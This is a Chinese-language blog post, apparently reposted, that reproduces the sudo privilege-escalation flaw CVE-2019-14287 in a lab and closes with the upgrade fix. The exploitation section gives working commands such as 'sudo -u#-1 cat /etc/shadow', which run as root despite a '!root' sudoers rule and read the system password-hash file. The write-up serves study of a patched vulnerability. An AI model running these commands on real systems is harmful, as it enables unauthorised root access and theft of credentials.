[提權]sudo提權復現(CVE-2019-14287)


2019年10月14日, sudo 官方在發布了 CVE-2019-14287 的漏洞預警。

0x00 簡介

sudo 是所有 unix操作系統(BSD, MacOS, GNU/Linux) 基本集成的一個用戶權限控制/切換程序。允許管理員控制服務器下用戶能夠切換的用戶權限。

0x01 漏洞概述

該漏洞是一個sudo安全策略繞過問題,可導致惡意用戶或程序在目標 Linux 系統上以 root 身份執行任意命令。個人覺得該漏洞比較雞肋,因為需要特殊的配置才能觸發,在默認的Linux中並不會存在該安全問題。

0x02 影響版本

Sudo版本 < 1.8.28

0x03 環境搭建

任何linux機器上執行sudo -V得到的版本 < 1.8.28均可

本人使用的環境為sudo 1.8.16

由於需要特定的配置,所以首先修改配置文件sudoers(文件位置/etc/sudoers)

在 root ALL=(ALL:ALL) ALL 下面添加一行配置:

test    ALL=(ALL,!root) ALL

1.其中的test表示用戶名
2.第一個ALL表示允許該用戶在任意機器或者終端中使用sudo
3.括號里面的(ALL,!root)表示命令可以被除了root以外的任意用戶身份去執行
4.最后一個ALL表示被允許執行

添加的這一行的配置的意思就是:test這個用戶可以使用sudo命令,以除了root以外的任意身份去執行命令。

0x04 漏洞利用

1.首先切換到test用戶:

su test

2.執行 sudo whoami 失敗

3.執行sudo -u#id whoami

這里的id可以去試任何id,我在/etc/group里挑選了test自身的id:1001

執行sudo -u#1001 whoami成功

執行sudo -u#-1 whoami成功

4.嘗試高權限操作
執行cat /etc/shadow失敗
執行sudo -u#-1 cat /etc/shadow成功

5.解釋:
使用 sudo -u#id 指定用戶 id 去執行命令,由於可以指定id,所以可以使用-u#-1或者-u#4294967295繞過限制,從而以root身份去執行任意代碼:這是因為 sudo 命令本身就已經以用戶 ID 為0 運行,因此當 sudo 試圖將用戶 ID 修改成 -1時,不會發生任何變化。這就導致 sudo 日志條目將該命令報告為以用戶 ID 為 4294967295而非 root (或者用戶ID為 0)運行命令。

0x05 修復方式

更新至 Sudo 1.8.28 版本

0x06 參考鏈接

Linux Sudo 被曝漏洞,可導致用戶以 root 權限運行命令

CVE-2019-14287:利用sudo提權復現


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM